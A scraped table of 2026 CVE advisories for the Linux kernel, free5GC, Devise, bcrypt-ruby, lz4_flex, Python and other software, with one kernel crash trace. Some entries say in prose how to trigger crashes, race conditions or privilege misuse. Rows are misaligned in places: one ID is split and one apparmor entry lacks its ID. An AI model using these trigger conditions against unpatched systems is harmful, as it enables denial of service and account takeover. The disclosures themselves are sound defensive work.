CVE-2026-23266	In the Linux kernel, the following vulnerability has been resolved: fbdev: rivafb: fix divide error in nv3_arb() A userspace program can trigger the RIVA NV3 arbitration code by calling the FBIOPUT_VSCREENINFO ioctl on /dev/fb*. When doing so, the driver recomputes FIFO arbitration parameters in nv3_arb(), using state->mclk_khz (derived from the PRAMDAC MCLK PLL) as a divisor without validating it first. In a normal setup, state->mclk_khz is provided by the real hardware and is non-zero. However, an attacker can construct a malicious or misconfigured device (e.g. a crafted/emulated PCI device) that exposes a bogus PLL configuration, causing state->mclk_khz to become zero. Once nv3_get_param() calls nv3_arb(), the division by state->mclk_khz in the gns calculation causes a divide error and crashes the kernel. Fix this by checking whether state->mclk_khz is zero and bailing out before doing the division. The following log reveals it: rivafb: setting virtual Y resolution to 2184 divide error: 0000 [#1] PREEMPT SMP KASAN PTI CPU: 0 PID: 2187 Comm: syz-executor.0 Not tainted 5.18.0-rc1+ #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.0-59-gc9ba5276e321-prebuilt.qemu.org 04/01/2014 RIP: 0010:nv3_arb drivers/video/fbdev/riva/riva_hw.c:439 [inline] RIP: 0010:nv3_get_param+0x3ab/0x13b0 drivers/video/fbdev/riva/riva_hw.c:546 Call Trace: nv3CalcArbitration.constprop.0+0x255/0x460 drivers/video/fbdev/riva/riva_hw.c:603 nv3UpdateArbitrationSettings drivers/video/fbdev/riva/riva_hw.c:637 [inline] CalcStateExt+0x447/0x1b90 drivers/video/fbdev/riva/riva_hw.c:1246 riva_load_video_mode+0x8a9/0xea0 drivers/video/fbdev/riva/fbdev.c:779 rivafb_set_par+0xc0/0x5f0 drivers/video/fbdev/riva/fbdev.c:1196 fb_set_var+0x604/0xeb0 drivers/video/fbdev/core/fbmem.c:1033 do_fb_ioctl+0x234/0x670 drivers/video/fbdev/core/fbmem.c:1109 fb_ioctl+0xdd/0x130 drivers/video/fbdev/core/fbmem.c:1188 __x64_sys_ioctl+0x122/0x190 fs/ioctl.c:856	N/A	More Details
CVE-2026-23267	In the Linux kernel, the following vulnerability has been resolved: f2fs: fix IS_CHECKPOINTED flag inconsistency issue caused by concurrent atomic commit and checkpoint writes During SPO tests, when mounting F2FS, an -EINVAL error was returned from f2fs_recover_inode_page. The issue occurred under the following scenario Thread A Thread B f2fs_ioc_commit_atomic_write - f2fs_do_sync_file // atomic = true - f2fs_fsync_node_pages : last_folio = inode folio : schedule before folio_lock(last_folio) f2fs_write_checkpoint - block_operations// writeback last_folio - schedule before f2fs_flush_nat_entries : set_fsync_mark(last_folio, 1) : set_dentry_mark(last_folio, 1) : folio_mark_dirty(last_folio) - __write_node_folio(last_folio) : f2fs_down_read(&sbi->node_write)//block - f2fs_flush_nat_entries : {struct nat_entry}->flag |= BIT(IS_CHECKPOINTED) - unblock_operations : f2fs_up_write(&sbi->node_write) f2fs_write_checkpoint//return : f2fs_do_write_node_page() f2fs_ioc_commit_atomic_write//return SPO Thread A calls f2fs_need_dentry_mark(sbi, ino), and the last_folio has already been written once. However, the {struct nat_entry}->flag did not have the IS_CHECKPOINTED set, causing set_dentry_mark(last_folio, 1) and write last_folio again after Thread B finishes f2fs_write_checkpoint. After SPO and reboot, it was detected that {struct node_info}->blk_addr was not NULL_ADDR because Thread B successfully write the checkpoint. This issue only occurs in atomic write scenarios. For regular file fsync operations, the folio must be dirty. If block_operations->f2fs_sync_node_pages successfully submit the folio write, this path will not be executed. Otherwise, the f2fs_write_checkpoint will need to wait for the folio write submission to complete, as sbi->nr_pages[F2FS_DIRTY_NODES] > 0. Therefore, the situation where f2fs_need_dentry_mark checks that the {struct nat_entry}->flag /wo the IS_CHECKPOINTED flag, but the folio write has already been submitted, will not occur. Therefore, for atomic file fsync, sbi->node_write should be acquired through __write_node_folio to ensure that the IS_CHECKPOINTED flag correctly indicates that the checkpoint write has been completed.	N/A	More Details
CVE-2026-4739	Integer Overflow or Wraparound vulnerability in InsightSoftwareConsortium ITK (Modules/ThirdParty/Expat/src/expat modules).This issue affects ITK: before 2.7.1.	N/A	More Details
CVE-2026-32829	lz4_flex is a pure Rust implementation of LZ4 compression/decompression. In versions 0.11.5 and below, and 0.12.0, decompressing invalid LZ4 data can leak sensitive information from uninitialized memory or from previous decompression operations. The library fails to properly validate offset values during LZ4 "match copy operations," allowing out-of-bounds reads from the output buffer. The block-based API functions (`decompress_into`, `decompress_into_with_dict`, and others when `safe-decode` is disabled) are affected, while all frame APIs are unaffected. The impact is potential exposure of sensitive data and secrets through crafted or malformed LZ4 input. This issue has been fixed in versions 0.11.6 and 0.12.1.	N/A	More Details
CVE-2026-33306	bcrypt-ruby is a Ruby binding for the OpenBSD bcrypt() password hashing algorithm. Prior to version 3.1.22, an integer overflow in the Java BCrypt implementation for JRuby can cause zero iterations in the strengthening loop. Impacted applications must be setting the cost to 31 to see this happen. The JRuby implementation of bcrypt-ruby (`BCrypt.java`) computes the key-strengthening round count as a signed 32-bit integer. When `cost=31` (the maximum allowed by the gem), signed integer overflow causes the round count to become negative, and the strengthening loop executes **zero iterations**. This collapses bcrypt from 2^31 rounds of exponential key-strengthening to effectively constant-time computation — only the initial EksBlowfish key setup and final 64x	N/A	More Details

	encryption phase remain. The resulting hash looks valid (`$2a$31$...`) and verifies correctly via `checkpw`, making the weakness invisible to the application. This issue is triggered only when cost=31 is used or when verifying a `$2a$31$` hash. This problem has been fixed in version 3.1.22. As a workaround, set the cost to something less than 31.		
CVE-2026-3181	Rejected reason: This CVE ID has been rejected or withdrawn by its CVE Numbering Authority.	N/A	More Details
CVE-2026-32735	openapi-to-java-records-mustache-templates allows users to generate Java Records from OpenAPI specifications. Starting in version 5.1.1 and prior to version 5.5.1, the parent POM file of this project (`openapi-to-java-records-mustache-templates-parent`), which is used to centralize plugin configurations for multiple unit-test modules, uses `maven-dependency-plugin` to unpack arbitrary `.mustache` files from the `openapi-to-java-records-mustache-templates` artifact (of the same version). While this parent POM file is not intended for external use, it is published, and could be used by anyone, and does not follow the best security practices. The risk, is that if `openapi-to-java-records-mustache-templates` would be compromised, and malicious `.mustache` files were to be included in the resulting JAR/artifact, users would unpack these files automatically during a dependency update. This is addressed in the v3.5.1 release of `openapi-to-java-records-mustache-templates-parent`. It is strongly recommended NOT to use the parent POM for external use. The `openapi-to-java-records-mustache-templates` module is the center of this project, and surrounding modules and configurations are not intended for production-use. These only exist for testing purposes and maintainability.	N/A	More Details
CVE-2026-4407	Out-of-bounds array write in Xpdf 4.06 and earlier, due to incorrect validation of the "N" field in ICCBased color spaces.	N/A	More Details
CVE-2026-32700	Devise is an authentication solution for Rails based on Warden. Prior to version 5.0.3, a race condition in Devise's Confirmable module allows an attacker to confirm an email address they do not own. This affects any Devise application using the `reconfirmable` option (the default when using Confirmable with email changes). By sending two concurrent email change requests, an attacker can desynchronize the `confirmation_token` and `unconfirmed_email` fields. The confirmation token is sent to an email the attacker controls, but the `unconfirmed_email` in the database points to a victim's email address. When the attacker uses the token, the victim's email is confirmed on the attacker's account. This is patched in Devise v5.0.3. Users should upgrade as soon as possible. As a workaround, applications can override a specific method from Devise models to force `unconfirmed_email` to be persisted when unchanged. Note that Mongoid does not seem to respect that `will_change!` should force the attribute to be persisted, even if it did not really change, so the user might have to implement a workaround similar to Devise by setting `changed_attributes["unconfirmed_email"] = nil` as well.	N/A	More Details
CVE-2026-4731	Integer Overflow or Wraparound vulnerability in artraweditor ART (rtengine modules). This vulnerability is associated with program files dcraw.C. This issue affects ART: before 1.25.12.	N/A	More Details
CVE-2026-4732	Out-of-bounds Read vulnerability in tildearrow furnace (extern/libsndfile-modified/src modules). This vulnerability is associated with program files flac.C. This issue affects furnace: before 0.7.	N/A	More Details
CVE-2026-4734	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in yoyofr modizer (libs/libopenmpt/openmpt-trunk/include/premake/contrib/curl/lib modules). This vulnerability is associated with program files imap.C. This issue affects modizer: before v4.3.	N/A	More Details
CVE-2026-4735	Deserialization of Untrusted Data vulnerability in DTStack chunjun (chunjun-core/src/main/java/com/dtstack/chunjun/util modules). This vulnerability is associated with program files GsonUtil.Java. This issue affects chunjun: before 1.16.1.	N/A	More Details
CVE-2026-4736	Improper Handling of Values vulnerability in No-Chicken Echo-Mate (SDK/rv1106-sdk/sysdrv/source/kernel/include/net/netfilter modules). This vulnerability is associated with program files nf_tables.H, nft_byteorder.C, nft_meta.C. This issue affects Echo-Mate: before V250329.	N/A	More Details
CVE-2026-4737	Use After Free vulnerability in No-Chicken Echo-Mate (SDK/rv1106-sdk/sysdrv/source/kernel/mm modules). This vulnerability is associated with program files rmap.C. This issue affects Echo-Mate: before V250329.	N/A	More Details
CVE-2026-4738	Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in OSGeo gdal (frmts/zlib/contrib/infback9 modules). This vulnerability is associated with program files inftree9.C. This issue affects gdal: before 3.11.0.	N/A	More Details
CVE-2026-4741	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in TeamJCD JoyConDroid (app/src/main/java/com/rdapps/gamepad/util modules). This vulnerability is associated with program files UnzipUtil.Java. This issue affects JoyConDroid: through 1.0.93.	N/A	More Details
	In the Linux kernel, the following vulnerability has been resolved: apparmor: fix unprivileged local user can do privileged policy management An unprivileged local user can load, replace, and remove profiles by opening the apparmorfs interfaces, via a confused deputy attack, by passing the opened fd to a privileged process, and getting the privileged process to write to the interface. This does require a privileged target that can be manipulated to do		

CVE-2026-23268	the write for the unprivileged process, but once such access is achieved full policy management is possible and all the possible implications that implies: removing confinement, DoS of system or target applications by denying all execution, by-passing the unprivileged user namespace restriction, to exploiting kernel bugs for a local privilege escalation. The policy management interface can not have its permissions simply changed from 0666 to 0600 because non-root processes need to be able to load policy to different policy namespaces. Instead ensure the task writing the interface has privileges that are a subset of the task that opened the interface. This is already done via policy for confined processes, but unconfined can delegate access to the opened fd, by-passing the usual policy check.	N/A	More Details
CVE-2026-4742	Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in visualfc liteide (liteidex/src/3rdparty/qjsonrpc/src/http-parser modules). This vulnerability is associated with program files http_parser.C. This issue affects liteide: before x38.4.	N/A	More Details
CVE-2026-4743	NULL Pointer Dereference vulnerability in taurusxin ncmdump (src/utils modules). This vulnerability is associated with program files cJSON.Cpp. This issue affects ncmdump: before 1.4.0.	N/A	More Details
CVE-2026-4744	Out-of-bounds Read vulnerability in rizonesoft Notepad3 (scintilla/oniguruma/src modules). This vulnerability is associated with program files regcomp.C. This issue affects Notepad3: before 6.25.714.1.	N/A	More Details
CVE-2026-1958	Use of hard-coded credentials in Klinika XP and KlinikaXP Insertino allowed an unauthorized attacker access to several internal services. Critically, this included access to the FTP server that hosted the application's update packages. The attacker with these credentials could upload a malicious update file, which then may have been distributed and installed on client machines as a legitimate update. This issue affects KlinikaXP: before 5.39.01.01. and KlinikaXP Insertino before 3.1.0.1 Beside removing the hardcoded credentials from the code, previously exposed credentials were also rotated preventing further attack attempts.	N/A	More Details
CVE-2026-32937	free5GC is an open source 5G core network. free5GC CHF prior to version 1.2.2 has an out-of-bounds slice access vulnerability in the CHF `nchf-convergedcharging` service. A valid authenticated request to PUT `/nchf-convergedcharging/v3/recharging/:ueId?ratingGroup=...` can trigger a server-side panic in `github.com/free5gc/chf/internal/sbi.(*Server).RechargePut(...)` due to an out-of-range slice access. In the reported runtime, Gin recovery converts the panic into HTTP 500, but the recharge path remains remotely panic-triggerable and can be abused repeatedly to degrade recharge functionality and flood logs. In deployments without equivalent recovery handling, this panic may cause more severe service disruption. free5GC CHF patches the issue. Some workarounds are available: Restrict access to the `nchf-convergedcharging` recharge endpoint to strictly trusted NF callers only; apply rate limiting or network ACLs in front of the CHF SBI interface to reduce repeated panic-trigger attempts; if the recharge API is not required, temporarily disable or block external reachability to this route; and/or ensure panic recovery, monitoring, and alerting are enabled.	N/A	More Details
CVE-2026-33062	free5GC is an open source 5G core network. free5GC NRF prior to version 1.4.2 has an Improper Input Validation vulnerability leading to Denial of Service. All deployments of free5GC using the NRF discovery service are affected. The `EncodeGroupId` function attempts to access array indices [0], [1], [2] without validating the length of the split data. When the parameter contains insufficient separator characters, the code panics with "index out of range". A remote attacker can cause the NRF service to panic and crash by sending a crafted HTTP GET request with a malformed `group-id-list` parameter. This results in complete denial of service for the NRF discovery service. free5GC NRF version 1.4.2 fixes the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the NRF API to trusted sources only.	N/A	More Details
CVE-2026-0866	Rejected reason: After the publication of the PoC by the researcher and further analysis, we have determined that this issue does not constitute a valid vulnerability. The technique described is an obfuscation method and does not bypass or impact any implicit or explicit security controls.	N/A	More Details
CVE-2026-3479	pkgutil.get_data() did not validate the resource argument as documented, allowing path traversals.	N/A	More Details
CVE-2026-33063	free5GC is an open source 5G core network. free5GC AUSF prior to version 1.4.2 has is an Improper Null Check vulnerability leading to Denial of Service. All deployments of free5GC v4.0.1 using the AUSF UE authentication service (`/nausf-auth/v1/ue-authentications` endpoint) are affected. A remote attacker can cause the AUSF service to panic and crash by sending a crafted UE authentication request that triggers a nil interface conversion in the `GetSupiFromSuciSupiMap` function. This results in complete denial of service for the AUSF authentication service. The `GetSupiFromSuciSupiMap` function attempts to perform an interface conversion from `interface{}` to `*context.SuciSupiMap` without checking if the underlying value is nil. When `SuciSupiMap` is nil, the code panics with "interface conversion: interface {} is nil, not *context.SuciSupiMap". free5GC AUSF version 1.4.2 patches the issue. There is no direct workaround at the application level. The recommendation is to apply the provided patch or restrict access to the AUSF API to trusted sources only.	N/A	More Details
CVE-2026-4745	Improper Control of Generation of Code ('Code Injection') vulnerability in dendibakh perf-ninja (labs/misc/pgo/lua modules). This vulnerability is associated with program files ldo.C. This issue affects perf-ninja.	N/A	More Details
CVE-2026-	Out-of-bounds Write vulnerability in timeplus-io proton (base/poco/Foundation/src modules). This vulnerability is associated with program files inflate.C. This issue affects proton: before 1.6.16.	N/A	More Details

4746	associated with program files inflate.c. This issue affects proton: before 1.6.16.		Details
CVE-2026-23270	In the Linux kernel, the following vulnerability has been resolved: net/sched: Only allow act_ct to bind to clsact/ingress qdiscs and shared blocks As Paolo said earlier [1]: "Since the blamed commit below, classify can return TC_ACT_CONSUMED while the current skb being held by the defragmentation engine. As reported by GangMin Kim, if such packet is that may cause a UaF when the defrag engine later on tries to tuch again such packet." act_ct was never meant to be used in the egress path, however some users are attaching it to egress today [2]. Attempting to reach a middle ground, we noticed that, while most qdiscs are not handling TC_ACT_CONSUMED, clsact/ingress qdiscs are. With that in mind, we address the issue by only allowing act_ct to bind to clsact/ingress qdiscs and shared blocks. That way it's still possible to attach act_ct to egress (albeit only with clsact). [1] https://lore.kernel.org/netdev/674b8cbfc385c6f37fb29a1de08d8fe5c2b0fbee.1771321118.git.pabeni@redhat.com/ [2] https://lore.kernel.org/netdev/cc6bfb4a-4a2b-42d8-b9ce-7ef6644fb22b@ovn.org/	N/A	More Details
CVE-2026-23269	In the Linux kernel, the following vulnerability has been resolved: apparmor: validate DFA start states are in bounds in unpack_pdb Start states are read from untrusted data and used as indexes into the DFA state tables. The aa_dfa_next() function call in unpack_pdb() will access dfa->tables[YYTD_ID_BASE][start], and if the start state exceeds the number of states in the DFA, this results in an out-of-bound read. == BUG: KASAN: slab-out-of-bounds in aa_dfa_next+0x2a1/0x360 Read of size 4 at addr ffff88811956fb90 by task su/1097 ... Reject policies with out-of-bounds start states during unpacking to prevent the issue.	N/A	More Details
CVE-2026-4519	The webbrowser.open() API would accept leading dashes in the URL which could be handled as command line options for certain web browsers. New behavior rejects leading dashes. Users are recommended to sanitize URLs prior to passing to webbrowser.open().	N/A	More Details